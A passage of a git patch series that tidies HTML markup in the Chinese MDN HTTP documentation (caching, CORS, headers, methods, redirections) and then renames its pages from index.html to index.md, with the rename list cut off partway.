From 64ee37bac436b3964d055ce4f63fe1fe56e7ea61 Mon Sep 17 00:00:00 2001 From: allo Date: Sat, 13 Aug 2022 09:10:50 +0800 Subject: [PATCH 1/3] prepare markdown convertion for http zh-CN --- .../mime_types/common_types/index.html | 4 -- files/zh-cn/web/http/caching/index.html | 16 ++---- files/zh-cn/web/http/cors/errors/index.html | 10 +--- .../zh-cn/web/http/headers/alt-svc/index.html | 1 - .../web/http/headers/connection/index.html | 4 +- .../index.html | 6 +- .../child-src/index.html | 2 +- .../script-src-elem/index.html | 2 - .../http/headers/large-allocation/index.html | 4 +- files/zh-cn/web/http/headers/link/index.html | 4 +- .../http/headers/sec-fetch-mode/index.html | 12 ++-- .../http/headers/sec-fetch-site/index.html | 6 +- .../web/http/link_prefetching_faq/index.html | 9 --- files/zh-cn/web/http/messages/index.html | 4 +- .../zh-cn/web/http/methods/connect/index.html | 2 +- files/zh-cn/web/http/methods/index.html | 55 +++++-------------- files/zh-cn/web/http/methods/patch/index.html | 4 +- files/zh-cn/web/http/methods/post/index.html | 2 +- files/zh-cn/web/http/methods/put/index.html | 2 +- files/zh-cn/web/http/overview/index.html | 8 +-- .../protocol_upgrade_mechanism/index.html | 2 +- files/zh-cn/web/http/redirections/index.html | 11 ++-- files/zh-cn/web/http/status/206/index.html | 4 +- 23 files changed, 54 insertions(+), 120 deletions(-) diff --git a/files/zh-cn/web/http/basics_of_http/mime_types/common_types/index.html b/files/zh-cn/web/http/basics_of_http/mime_types/common_types/index.html index a24cdab033788d..f5ec537a69ebfe 100644 --- a/files/zh-cn/web/http/basics_of_http/mime_types/common_types/index.html +++ b/files/zh-cn/web/http/basics_of_http/mime_types/common_types/index.html @@ -15,10 +15,6 @@ ---
{{HTTPSidebar}}
-
-

译者注:英文原文标题为 Incomplete list of MIME types,意为不完整的/未完成的 MIME 类型列表。

-
-

这是一份 MIME 类型列表,以及各个类型的文档类别,按照它们的常见扩展名排序。

两种主要的 MIME 类型在默认类型中扮演了重要的角色:

diff --git a/files/zh-cn/web/http/caching/index.html b/files/zh-cn/web/http/caching/index.html index accfd1fef8e769..bf780c1cda9237 100644 --- a/files/zh-cn/web/http/caching/index.html +++ b/files/zh-cn/web/http/caching/index.html @@ -59,13 +59,13 @@

没有缓存

缓存中不得存储任何关于客户端请求和服务端响应的内容。每次由客户端发起的请求都会下载完整的响应内容。

-
Cache-Control: no-store
+
Cache-Control: no-store

缓存但重新验证

如下头部定义,此方式下,每次有请求发出时,缓存会将此请求发到服务器(译者注:该请求应该会带有与本地缓存相关的验证字段),服务器端会验证请求中所描述的缓存是否过期,若未过期(注:实际就是返回 304),则缓存才使用本地缓存副本。

-
Cache-Control: no-cache
+
Cache-Control: no-cache

私有和公共缓存

@@ -73,7 +73,7 @@

私有和公共缓存

而 "private" 则表示该响应是专用于某单个用户的,中间人不能缓存此响应,该响应只能应用于浏览器私有缓存中。

-
Cache-Control: private
+
Cache-Control: private
 Cache-Control: public

过期

@@ -82,13 +82,13 @@

过期

详情看下文关于缓存有效性的内容。

-
Cache-Control: max-age=31536000
+
Cache-Control: max-age=31536000

验证方式

当使用了 "must-revalidate" 指令,那就意味着缓存在考虑使用一个陈旧的资源时,必须先验证它的状态,已过期的缓存将不被使用。详情看下文关于缓存校验的内容。

-
Cache-Control: must-revalidate
+
Cache-Control: must-revalidate

Pragma

@@ -146,7 +146,7 @@

Vary 响应

使用 vary 头有利于内容服务的动态多样性。例如,使用 Vary: User-Agent 头,缓存服务器需要通过 UA 判断是否使用缓存的页面。如果需要区分移动端和桌面端的展示内容,利用这种方式就能避免在不同的终端展示错误的布局。另外,它可以帮助 Google 或者其他搜索引擎更好地发现页面的移动版本,并且告诉搜索引擎没有引入Cloaking

-
Vary: User-Agent
+
Vary: User-Agent

因为移动版和桌面的客户端的请求头中的 User-Agent 不同,缓存服务器不会错误地把移动端的内容输出到桌面端到用户。

@@ -158,7 +158,3 @@

参考

  • HTTP caching – Ilya Grigorik
  • RedBot, 检查缓存相关的 HTTP 头的工具。
  • - -
    -
    -
    diff --git a/files/zh-cn/web/http/cors/errors/index.html b/files/zh-cn/web/http/cors/errors/index.html index 24d1cdccdb6132..053b84e68bfe4b 100644 --- a/files/zh-cn/web/http/cors/errors/index.html +++ b/files/zh-cn/web/http/cors/errors/index.html @@ -3,15 +3,7 @@ slug: Web/HTTP/CORS/Errors translation_of: Web/HTTP/CORS/Errors --- -
    -

    -
    - -
    - - +

    Cross-Origin Resource Sharing ({{Glossary("CORS")}}) 是一种允许服务器放宽同源策略的标准。 这用于明确允许一些跨源请求,同时拒绝其他请求。 例如,如果站点提供外界嵌入的服务,则可能需要放宽同源策略(same-origin policy)。 设置这样的 CORS 配置并不一定容易,并且可能存在一些挑战。 在这些页面中,我们将研究一些常见的 CORS 错误消息以及如何解决它们。

    如果未正确设置 CORS 配置,浏览器控制台将显示错误,例如"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"(跨源请求已阻止:同源策略禁止在某些站点上读取远程资源”),表示请求因违反 CORS 安全性而被阻止规则。 但这可能不一定是设置错误。 因为用户的 Web 应用程序和远程外部服务可能故意禁止该请求。如果要使端点可用,则需要进行一些调试才能成功。

    diff --git a/files/zh-cn/web/http/headers/alt-svc/index.html b/files/zh-cn/web/http/headers/alt-svc/index.html index c165e6059ec7e3..39f50c0eda6f15 100644 --- a/files/zh-cn/web/http/headers/alt-svc/index.html +++ b/files/zh-cn/web/http/headers/alt-svc/index.html @@ -22,7 +22,6 @@

    语法

    当前访问方式的有效期,超过该时间后,服务端将不保证该访问方式依旧可用,客户端应当重新获取更新后的 Alt-Svc 列表。单位为秒,默认值为 24 小时(86400)。
    persist{{Optional_Inline}}
    可选参数,用于标识当前访问方式在网络环境改变时或者会话间始终保持。
    -

    规范

    diff --git a/files/zh-cn/web/http/headers/connection/index.html b/files/zh-cn/web/http/headers/connection/index.html index 167d8f8a8b5507..ff5b53b1e5cc1e 100644 --- a/files/zh-cn/web/http/headers/connection/index.html +++ b/files/zh-cn/web/http/headers/connection/index.html @@ -12,7 +12,7 @@

    Connection 头(header) 决定当前的事务完成后,是否会关闭网络连接。如果该值是“keep-alive”,网络连接就是持久的,不会关闭,使得对同一个服务器的请求可以继续在该连接上完成。

    -
    + @@ -42,10 +42,8 @@

    指令

    close
    表明客户端或服务器想要关闭该网络连接,这是 HTTP/1.0 请求的默认值
    -
    以逗号分隔的 HTTP 头 [通常仅有 keep-alive]
    表明客户端想要保持该网络连接打开,HTTP/1.1 的请求默认使用一个持久连接。这个请求头列表由头部名组成,这些头将被第一个非透明的代理或者代理间的缓存所移除:这些头定义了发出者和第一个实体之间的连接,而不是和目的地节点间的连接。
    -

    浏览器兼容性

    diff --git a/files/zh-cn/web/http/headers/content-security-policy-report-only/index.html b/files/zh-cn/web/http/headers/content-security-policy-report-only/index.html index f4ba6d4cac4584..baf58181b058d5 100644 --- a/files/zh-cn/web/http/headers/content-security-policy-report-only/index.html +++ b/files/zh-cn/web/http/headers/content-security-policy-report-only/index.html @@ -60,7 +60,7 @@

    违规报告的语法

    violated-directive
    被违反的策略名。
    original-policy
    -
    Content-Security-Policy HTTP 头部所指定的原始策略。
    +
    Content-Security-Policy HTTP 头部所指定的原始策略。
    disposition
    “执行”或“报告”取决于是使用{{HTTPHeader("Content-Security-Policy")}} 头还是使用 Content-Security-Header-Report-Only 头。
    @@ -69,9 +69,7 @@

    违规报告样例

    思考一下一个地址为http://example.com/signup.html 的页面。它使用了下面的策略,禁止除了来自 cdn.example.com样式表外的其他任何资源。
    -
    -
    Content-Security-Policy-Report-Only: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports
    -
    +
    Content-Security-Policy-Report-Only: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports
    signup.html的 html 如下:
    diff --git a/files/zh-cn/web/http/headers/content-security-policy/child-src/index.html b/files/zh-cn/web/http/headers/content-security-policy/child-src/index.html index 0970b383ce0abf..b94be4a0a0d2b8 100644 --- a/files/zh-cn/web/http/headers/content-security-policy/child-src/index.html +++ b/files/zh-cn/web/http/headers/content-security-policy/child-src/index.html @@ -5,7 +5,7 @@ ---
    {{HTTPSidebar}}
    -

    The HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) child-src directive defines the valid sources for web workers and nested browsing contexts loaded using elements such as {{HTMLElement("frame")}} and {{HTMLElement("iframe")}}. For workers, non-compliant requests are treated as fatal network errors by the user agent.

    +

    The HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) child-src directive defines the valid sources for web workers and nested browsing contexts loaded using elements such as {{HTMLElement("frame")}} and {{HTMLElement("iframe")}}. For workers, non-compliant requests are treated as fatal network errors by the user agent.

    diff --git a/files/zh-cn/web/http/headers/content-security-policy/script-src-elem/index.html b/files/zh-cn/web/http/headers/content-security-policy/script-src-elem/index.html index a423430a746257..30b2eb1d42fb46 100644 --- a/files/zh-cn/web/http/headers/content-security-policy/script-src-elem/index.html +++ b/files/zh-cn/web/http/headers/content-security-policy/script-src-elem/index.html @@ -48,9 +48,7 @@

    回退到 script-src

    如果没有 script-src-elem 存在,客户端会回退到 {{CSP("script-src")}} 指示符,如果那个也还是没有那就回退到 {{CSP("default-src")}}。

    -

    规范

    diff --git a/files/zh-cn/web/http/headers/large-allocation/index.html b/files/zh-cn/web/http/headers/large-allocation/index.html index a9734c220b63c6..650d32b7791cfc 100644 --- a/files/zh-cn/web/http/headers/large-allocation/index.html +++ b/files/zh-cn/web/http/headers/large-allocation/index.html @@ -35,7 +35,6 @@

    指令

    0 是一个特殊的值,代表给它分配的大小是不确定的 (动态允许).
    <megabytes>
    预期需要申请的内存大小,以 M 为单位
    -

    示例

    @@ -51,7 +50,7 @@

    排除错误

    由于Large-Allocation 报头存在,这个页面会在一个新的进程处理和加载
    This message means that the browser saw the Large-Allocation header, and was able to reload the page into a new process which should have more available contiguous memory.
    -
    Large-Allocation 报头由于非non-GET 请求而直接忽略
    +
    Large-Allocation 报头由于非non-GET 请求而直接忽略
    当一个 {{HTTPMethod("POST")}} 请求用语加载文档,that load cannot currently be redirected into a new process. This error is displayed when loading a document with a Large-Allocation header with a non-GET HTTP method. This could be caused due to the document being loaded by a form submission, for example.
    A Large-Allocation header was ignored due to the presence of windows which have a reference to this browsing context through the frame hierarchy or {{domxref("window.opener")}}.
    @@ -67,7 +66,6 @@

    排除错误

    Firefox has moved to a multiprocess architecture, and this architecture is required in order to support the Large-Allocation header. Some legacy Addons can prevent Firefox from using this new, faster, multiprocess architecture. If you have one of these Addons installed, then we will continue to use the old single process architecuture for compatibility, and cannot handle the Large-Allocation header.
    由于Large-Allocation头部,此页面应将被加载到新进程中,但是在非 Win32 平台上禁用此选项。
    由于在 64 位系统里内存碎片不是问题,Firefox 只在 32 位系统支持Large-Allocation头部。如果你运行一个非 32 位的程序,这类信息就会出现。可以设置 about:config 里面的"dom.largeAllocation.forceEnable"布尔值来关闭此检查。
    -

    规范

    diff --git a/files/zh-cn/web/http/headers/link/index.html b/files/zh-cn/web/http/headers/link/index.html index 07597f400410d9..1c02609162d73b 100644 --- a/files/zh-cn/web/http/headers/link/index.html +++ b/files/zh-cn/web/http/headers/link/index.html @@ -24,9 +24,9 @@

    示例

    URI 必须要用 <> 来关闭:

    -
    Link: <https://example.com>; rel="preload"
    +
    Link: <https://example.com>; rel="preload"
    -
    Link: https://bad.example; rel="preload"
    +
    Link: https://bad.example; rel="preload"

    规范

    diff --git a/files/zh-cn/web/http/headers/sec-fetch-mode/index.html b/files/zh-cn/web/http/headers/sec-fetch-mode/index.html index c600727bc918a0..7135f7f5a40f92 100644 --- a/files/zh-cn/web/http/headers/sec-fetch-mode/index.html +++ b/files/zh-cn/web/http/headers/sec-fetch-mode/index.html @@ -38,17 +38,17 @@

    cors
    -
    +
    TBD
    navigate
    -
    +
    TBD
    nested-navigate
    -
    +
    TBD
    no-cors
    -
    +
    TBD
    same-origin
    -
    +
    TBD
    websocket
    -
    +
    TBD

    示例

    diff --git a/files/zh-cn/web/http/headers/sec-fetch-site/index.html b/files/zh-cn/web/http/headers/sec-fetch-site/index.html index 31e98e454d24e4..906f662a468ca9 100644 --- a/files/zh-cn/web/http/headers/sec-fetch-site/index.html +++ b/files/zh-cn/web/http/headers/sec-fetch-site/index.html @@ -40,11 +40,11 @@

    cross-site
    -
    +
    TBD
    same-origin
    -
    +
    TBD
    same-site
    -
    +
    TBD
    none
    这一请求与任意上下文无关,例如站点、源,或者框架。当用户采用某些方式发起请求时该值会被使用,例如:直接在地址栏中输入 URL、打开一个书签,或者往浏览器窗口中拖放一个文件。
    diff --git a/files/zh-cn/web/http/link_prefetching_faq/index.html b/files/zh-cn/web/http/link_prefetching_faq/index.html index 48356e17df9024..86452e5286ca91 100644 --- a/files/zh-cn/web/http/link_prefetching_faq/index.html +++ b/files/zh-cn/web/http/link_prefetching_faq/index.html @@ -121,12 +121,3 @@

    关于...?

    也可以看看...

    Prefetching Hints

    - -
    -

    Original Document Information

    - -
      -
    • Author(s): Darin Fisher (darin at meer dot net)
    • -
    • Last Updated Date: Updated: March 3, 2003
    • -
    -
    diff --git a/files/zh-cn/web/http/messages/index.html b/files/zh-cn/web/http/messages/index.html index fbc9f4db0d9d40..35554c5f49f478 100644 --- a/files/zh-cn/web/http/messages/index.html +++ b/files/zh-cn/web/http/messages/index.html @@ -17,9 +17,7 @@

    HTTP/2 二进制框架机制被设计为不需要改动任何 API 或配置文件即可应用︰ 它大体上对用户是透明的。

    -
    -
    HTTP 请求和响应具有相似的结构,由以下部分组成︰
    -
    +

    HTTP 请求和响应具有相似的结构,由以下部分组成︰

    1. 一行起始行用于描述要执行的请求,或者是对应的状态,成功或失败。这个起始行总是单行的。
    2. diff --git a/files/zh-cn/web/http/methods/connect/index.html b/files/zh-cn/web/http/methods/connect/index.html index 07da1fa878e9d6..6df7f714b578bd 100644 --- a/files/zh-cn/web/http/methods/connect/index.html +++ b/files/zh-cn/web/http/methods/connect/index.html @@ -52,7 +52,7 @@

      示例

      一些代理服务器在创建隧道时会要求进行身份验证。参见 {{HTTPHeader("Proxy-Authorization")}} 首部。

      -
      CONNECT server.example.com:80 HTTP/1.1
      +
      CONNECT server.example.com:80 HTTP/1.1
       Host: server.example.com:80
       Proxy-Authorization: basic aGVsbG86d29ybGQ=
      diff --git a/files/zh-cn/web/http/methods/index.html b/files/zh-cn/web/http/methods/index.html index 7f55d736ea1160..30ebb23800a581 100644 --- a/files/zh-cn/web/http/methods/index.html +++ b/files/zh-cn/web/http/methods/index.html @@ -1,65 +1,36 @@ --- title: HTTP 请求方法 slug: Web/HTTP/Methods -tags: - - Browser support for JavaScript APIs - - HTTP - - 'HTTP Methods: GET vs. POST' - - Methods - - Reference - - Safe and Idempotent Methods - - methods for HTTP/1.1 - - '词汇表:幂等 可缓存' -translation_of: Web/HTTP/Methods ---

      {{HTTPSidebar}}

      HTTP 定义了一组请求方法,以表明要对给定资源执行的操作。指示针对给定资源要执行的期望动作。虽然他们也可以是名词,但这些请求方法有时被称为 HTTP 动词。每一个请求方法都实现了不同的语义,但一些共同的特征由一组共享:例如一个请求方法可以是 {{glossary("safe")}}, {{glossary("idempotent")}}, 或 {{glossary("cacheable")}}。

      -
      GET
      +
      GET
      GET 方法请求一个指定资源的表示形式,使用 GET 的请求应该只被用于获取数据。
      -
      HEAD
      +
      HEAD
      HEAD 方法请求一个与 GET 请求的响应相同的响应,但没有响应体。
      -
      POST
      +
      POST
      POST 方法用于将实体提交到指定的资源,通常导致在服务器上的状态变化或副作用。
      -
      PUT
      +
      PUT
      PUT 方法用请求有效载荷替换目标资源的所有当前表示。
      -
      DELETE
      +
      DELETE
      DELETE 方法删除指定的资源。
      -
      CONNECT
      +
      CONNECT
      CONNECT 方法建立一个到由目标资源标识的服务器的隧道。
      -
      OPTIONS
      +
      OPTIONS
      OPTIONS 方法用于描述目标资源的通信选项。
      -
      TRACE
      +
      TRACE
      TRACE 方法沿着到目标资源的路径执行一个消息环回测试。
      -
      PATCH
      +
      PATCH
      PATCH 方法用于对资源应用部分修改。
      -
      -

      规范

      - -
    - - - - - - - - - - - - - - - - - -
    规范标题注解
    {{RFC("7231", "Request methods", "4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and ContentSpecifies GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE.
    {{RFC("5789", "Patch method", "2")}}PATCH Method for HTTPSpecifies PATCH.
    - +

    规范

    + +{{Specifications}} +

    浏览器兼容性

    {{Compat}}

    diff --git a/files/zh-cn/web/http/methods/patch/index.html b/files/zh-cn/web/http/methods/patch/index.html index a8131a86e8beee..60e70657507b15 100644 --- a/files/zh-cn/web/http/methods/patch/index.html +++ b/files/zh-cn/web/http/methods/patch/index.html @@ -57,7 +57,7 @@

    示例

    请求

    -
    PATCH /file.txt HTTP/1.1
    +
    PATCH /file.txt HTTP/1.1
     Host: www.example.com
     Content-Type: application/example
     If-Match: "e0023aa4e"
    @@ -69,7 +69,7 @@ 

    响应

    {{HTTPStatus("204")}} 状态码表示这是一个操作成功的响应,因为响应中不带有消息主体。

    -
    HTTP/1.1 204 No Content
    +
    HTTP/1.1 204 No Content
     Content-Location: /file.txt
     ETag: "e0023aa4f"
    diff --git a/files/zh-cn/web/http/methods/post/index.html b/files/zh-cn/web/http/methods/post/index.html index b4b268009b7d92..be2a4a32b0de50 100644 --- a/files/zh-cn/web/http/methods/post/index.html +++ b/files/zh-cn/web/http/methods/post/index.html @@ -69,7 +69,7 @@

    示例

    使用默认的 application/x-www-form-urlencoded 做为 content type 的简单表单:

    -
    POST / HTTP/1.1
    +
    POST / HTTP/1.1
     Host: foo.com
     Content-Type: application/x-www-form-urlencoded
     Content-Length: 13
    diff --git a/files/zh-cn/web/http/methods/put/index.html b/files/zh-cn/web/http/methods/put/index.html
    index d5592e87453ba1..10a68df3aa36ea 100644
    --- a/files/zh-cn/web/http/methods/put/index.html
    +++ b/files/zh-cn/web/http/methods/put/index.html
    @@ -63,7 +63,7 @@ 

    应答

    如果目标资源不存在,并且 PUT 方法成功创建了一份,那么源头服务器必须返回{{HTTPStatus("201")}} (Created) 来通知客户端资源已创建。

    -
    HTTP/1.1 201 Created
    +
    HTTP/1.1 201 Created
     Content-Location: /new.html

    如果目标资源已经存在,并且依照请求中封装的表现形式成功进行了更新,那么,源头服务器必须返回{{HTTPStatus("200")}} (OK) 或者{{HTTPStatus("204")}} (No Content) 来表示请求的成功完成。

    diff --git a/files/zh-cn/web/http/overview/index.html b/files/zh-cn/web/http/overview/index.html index 2bde9100c1ff07..fdc6c8046a04ed 100644 --- a/files/zh-cn/web/http/overview/index.html +++ b/files/zh-cn/web/http/overview/index.html @@ -108,12 +108,12 @@

    HTTP 流

    1. 打开一个 TCP 连接:TCP 连接被用来发送一条或多条请求,以及接受响应消息。客户端可能打开一条新的连接,或重用一个已经存在的连接,或者也可能开几个新的 TCP 连接连向服务端。
    2. 发送一个 HTTP 报文:HTTP 报文(在 HTTP/2 之前)是语义可读的。在 HTTP/2 中,这些简单的消息被封装在了帧中,这使得报文不能被直接读取,但是原理仍是相同的。 -
      GET / HTTP/1.1
      +  
      GET / HTTP/1.1
       Host: developer.mozilla.org
      -Accept-Language: fr
      +Accept-Language: fr
    3. 读取服务端返回的报文信息: -
      HTTP/1.1 200 OK
      +  
      HTTP/1.1 200 OK
       Date: Sat, 09 Oct 2010 14:28:02 GMT
       Server: Apache
       Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
      @@ -122,7 +122,7 @@ 

      HTTP 流

      Content-Length: 29769 Content-Type: text/html -<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)
      +<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)
    4. 关闭连接或者为后续请求重用连接。
    diff --git a/files/zh-cn/web/http/protocol_upgrade_mechanism/index.html b/files/zh-cn/web/http/protocol_upgrade_mechanism/index.html index 3a517e4690b909..31d37522eb872f 100644 --- a/files/zh-cn/web/http/protocol_upgrade_mechanism/index.html +++ b/files/zh-cn/web/http/protocol_upgrade_mechanism/index.html @@ -20,7 +20,7 @@

    升级 HTTP/1.1 的链接

    Connection: Upgrade
    设置 Connection 头的值为 "Upgrade" 来指示这是一个升级请求。
    -
    Upgrade: protocols
    +
    Upgrade: protocols
    Upgrade 头指定一项或多项协议名,按优先级排序,以逗号分隔。
    diff --git a/files/zh-cn/web/http/redirections/index.html b/files/zh-cn/web/http/redirections/index.html index 77d37a1cade9f7..a1c632ce861f09 100644 --- a/files/zh-cn/web/http/redirections/index.html +++ b/files/zh-cn/web/http/redirections/index.html @@ -66,7 +66,7 @@

    永久重定向

    -

    [1] 该规范无意使方法发生改变,但在实际应用中用户代理会这么做。 308 状态码被创建用来消除在使用非 GET 方法时的歧义行为。

    +

    [1] 该规范无意使方法发生改变,但在实际应用中用户代理会这么做。 308 状态码被创建用来消除在使用非 GET 方法时的歧义行为。

    临时重定向

    @@ -105,7 +105,7 @@

    临时重定向

    -

    [2] 该规范无意使方法发生改变,但在实际应用中用户代理会这么做。 307 状态码被创建用来消除在使用非 GET 方法时的歧义行为。

    +

    [2] 该规范无意使方法发生改变,但在实际应用中用户代理会这么做。 307 状态码被创建用来消除在使用非 GET 方法时的歧义行为。

    特殊重定向

    @@ -196,11 +196,10 @@

    域名别称

    例如,公司改名后,你希望用户在搜索旧名称的时候,依然可以访问到应用了新名称的站点。
    强制使用 HTTPS 协议。
    对于 HTTP 版本站点的请求会被重定向至采用了 HTTPS 协议的版本。
    -
    -

    保持链接有效

    -
    +

    保持链接有效

    +

    当你重构 Web 站点的时候,资源的 URL 会发生改变。即便是你可以更新站点内部的链接来适应新的命名体系,但无法控制被外部资源使用的 URL 。

    你并不想因此而使旧链接失效,因为它们会为你带来宝贵的用户(并且帮助优化你的 SEO),所以需要建立从旧链接到新链接的重定向映射。

    @@ -279,7 +278,7 @@

    重定向死锁(循环)

    有时候,服务器端无法对其进行检测:重定向循环发生于多台服务器之间,对于每一台服务器来说,都无法获得一个全景图。在这种情况下,浏览器会负责进行检测,然后返回错误信息。Firefox 会呈现如下信息:

    -
    Firefox has detected that the server is redirecting the request for this address in a way that will never complete.
    +
    Firefox has detected that the server is redirecting the request for this address in a way that will never complete.
     Firefox 检测到服务器正在试图将请求进行重定向,而这种重定向永远不会完结。
     
    diff --git a/files/zh-cn/web/http/status/206/index.html b/files/zh-cn/web/http/status/206/index.html index f638862a53b87a..f81034f19e9f34 100644 --- a/files/zh-cn/web/http/status/206/index.html +++ b/files/zh-cn/web/http/status/206/index.html @@ -22,7 +22,7 @@

    示例

    只包含一个数据区间的响应:

    -
    HTTP/1.1 206 Partial Content
    +
    HTTP/1.1 206 Partial Content
     Date: Wed, 15 Nov 2015 06:25:24 GMT
     Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
     Content-Range: bytes 21010-47021/47022
    @@ -33,7 +33,7 @@ 

    示例

    包含多个数据区间的响应:

    -
    HTTP/1.1 206 Partial Content
    +
    HTTP/1.1 206 Partial Content
     Date: Wed, 15 Nov 2015 06:25:24 GMT
     Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
     Content-Length: 1741
    
    From 02d7033a2ffa00f9753fd276e9d18e5217ea054c Mon Sep 17 00:00:00 2001
    From: allo 
    Date: Sat, 13 Aug 2022 14:14:47 +0800
    Subject: [PATCH 2/3] move to .md for web/http
    
    ---
     files/zh-cn/web/http/authentication/{index.html => index.md}      | 0
     .../{index.html => index.md}                                      | 0
     .../basics_of_http/evolution_of_http/{index.html => index.md}     | 0
     files/zh-cn/web/http/basics_of_http/{index.html => index.md}      | 0
     .../mime_types/common_types/{index.html => index.md}              | 0
     .../web/http/basics_of_http/mime_types/{index.html => index.md}   | 0
     .../{index.html => index.md}                                      | 0
     files/zh-cn/web/http/caching/{index.html => index.md}             | 0
     files/zh-cn/web/http/compression/{index.html => index.md}         | 0
     .../configuring_servers_for_ogg_media/{index.html => index.md}    | 0
     .../connection_management_in_http_1.x/{index.html => index.md}    | 0
     files/zh-cn/web/http/content_negotiation/{index.html => index.md} | 0
     .../list_of_default_accept_values/{index.html => index.md}        | 0
     files/zh-cn/web/http/cookies/{index.html => index.md}             | 0
     files/zh-cn/web/http/cors/errors/{index.html => index.md}         | 0
     .../web/http/headers/accept-ch-lifetime/{index.html => index.md}  | 0
     files/zh-cn/web/http/headers/accept-ch/{index.html => index.md}   | 0
     .../web/http/headers/accept-charset/{index.html => index.md}      | 0
     .../web/http/headers/accept-encoding/{index.html => index.md}     | 0
     .../web/http/headers/accept-language/{index.html => index.md}     | 0
     .../zh-cn/web/http/headers/accept-patch/{index.html => index.md}  | 0
     .../zh-cn/web/http/headers/accept-ranges/{index.html => index.md} | 0
     files/zh-cn/web/http/headers/accept/{index.html => index.md}      | 0
     .../access-control-allow-credentials/{index.html => index.md}     | 0
     .../headers/access-control-allow-headers/{index.html => index.md} | 0
     .../headers/access-control-allow-methods/{index.html => index.md} | 0
     .../headers/access-control-allow-origin/{index.html => index.md}  | 0
     .../access-control-expose-headers/{index.html => index.md}        | 0
     .../http/headers/access-control-max-age/{index.html => index.md}  | 0
     .../access-control-request-headers/{index.html => index.md}       | 0
     .../access-control-request-method/{index.html => index.md}        | 0
     files/zh-cn/web/http/headers/age/{index.html => index.md}         | 0
     files/zh-cn/web/http/headers/allow/{index.html => index.md}       | 0
     files/zh-cn/web/http/headers/alt-svc/{index.html => index.md}     | 0
     .../zh-cn/web/http/headers/authorization/{index.html => index.md} | 0
     .../zh-cn/web/http/headers/cache-control/{index.html => index.md} | 0
     .../web/http/headers/clear-site-data/{index.html => index.md}     | 0
     files/zh-cn/web/http/headers/connection/{index.html => index.md}  | 0
     .../web/http/headers/content-disposition/{index.html => index.md} | 0
     .../web/http/headers/content-language/{index.html => index.md}    | 0
     .../web/http/headers/content-length/{index.html => index.md}      | 0
     .../web/http/headers/content-location/{index.html => index.md}    | 0
     .../zh-cn/web/http/headers/content-range/{index.html => index.md} | 0
     .../content-security-policy-report-only/{index.html => index.md}  | 0
     .../content-security-policy/base-uri/{index.html => index.md}     | 0
     .../content-security-policy/child-src/{index.html => index.md}    | 0
     .../content-security-policy/connect-src/{index.html => index.md}  | 0
     .../content-security-policy/default-src/{index.html => index.md}  | 0
     .../content-security-policy/font-src/{index.html => index.md}     | 0
     .../content-security-policy/form-action/{index.html => index.md}  | 0
     .../frame-ancestors/{index.html => index.md}                      | 0
     .../http/headers/content-security-policy/{index.html => index.md} | 0
     .../content-security-policy/report-to/{index.html => index.md}    | 0
     .../content-security-policy/sandbox/{index.html => index.md}      | 0
     .../script-src-elem/{index.html => index.md}                      | 0
     .../content-security-policy/worker-src/{index.html => index.md}   | 0
     .../zh-cn/web/http/headers/content-type/{index.html => index.md}  | 0
     .../headers/cross-origin-embedder-policy/{index.html => index.md} | 0
     .../headers/cross-origin-resource-policy/{index.html => index.md} | 0
     files/zh-cn/web/http/headers/date/{index.html => index.md}        | 0
     .../zh-cn/web/http/headers/device-memory/{index.html => index.md} | 0
     files/zh-cn/web/http/headers/digest/{index.html => index.md}      | 0
     files/zh-cn/web/http/headers/dnt/{index.html => index.md}         | 0
     files/zh-cn/web/http/headers/dpr/{index.html => index.md}         | 0
     files/zh-cn/web/http/headers/early-data/{index.html => index.md}  | 0
     files/zh-cn/web/http/headers/etag/{index.html => index.md}        | 0
     files/zh-cn/web/http/headers/expect/{index.html => index.md}      | 0
     files/zh-cn/web/http/headers/expires/{index.html => index.md}     | 0
     .../web/http/headers/feature-policy/{index.html => index.md}      | 0
     files/zh-cn/web/http/headers/forwarded/{index.html => index.md}   | 0
     files/zh-cn/web/http/headers/from/{index.html => index.md}        | 0
     files/zh-cn/web/http/headers/host/{index.html => index.md}        | 0
     files/zh-cn/web/http/headers/if-match/{index.html => index.md}    | 0
     .../web/http/headers/if-modified-since/{index.html => index.md}   | 0
     .../zh-cn/web/http/headers/if-none-match/{index.html => index.md} | 0
     files/zh-cn/web/http/headers/if-range/{index.html => index.md}    | 0
     .../web/http/headers/if-unmodified-since/{index.html => index.md} | 0
     files/zh-cn/web/http/headers/{index.html => index.md}             | 0
     files/zh-cn/web/http/headers/keep-alive/{index.html => index.md}  | 0
     .../web/http/headers/large-allocation/{index.html => index.md}    | 0
     .../zh-cn/web/http/headers/last-modified/{index.html => index.md} | 0
     files/zh-cn/web/http/headers/link/{index.html => index.md}        | 0
     files/zh-cn/web/http/headers/location/{index.html => index.md}    | 0
     files/zh-cn/web/http/headers/pragma/{index.html => index.md}      | 0
     .../web/http/headers/proxy-authenticate/{index.html => index.md}  | 0
     .../web/http/headers/proxy-authorization/{index.html => index.md} | 0
     files/zh-cn/web/http/headers/range/{index.html => index.md}       | 0
     files/zh-cn/web/http/headers/referer/{index.html => index.md}     | 0
     .../web/http/headers/referrer-policy/{index.html => index.md}     | 0
     files/zh-cn/web/http/headers/retry-after/{index.html => index.md} | 0
     files/zh-cn/web/http/headers/save-data/{index.html => index.md}   | 0
     .../web/http/headers/sec-fetch-mode/{index.html => index.md}      | 0
     .../web/http/headers/sec-fetch-site/{index.html => index.md}      | 0
     .../web/http/headers/sec-fetch-user/{index.html => index.md}      | 0
     .../zh-cn/web/http/headers/server-timing/{index.html => index.md} | 0
     files/zh-cn/web/http/headers/server/{index.html => index.md}      | 0
     files/zh-cn/web/http/headers/sourcemap/{index.html => index.md}   | 0
     .../headers/strict-transport-security/{index.html => index.md}    | 0
     files/zh-cn/web/http/headers/te/{index.html => index.md}          | 0
     .../web/http/headers/timing-allow-origin/{index.html => index.md} | 0
     files/zh-cn/web/http/headers/tk/{index.html => index.md}          | 0
     files/zh-cn/web/http/headers/trailer/{index.html => index.md}     | 0
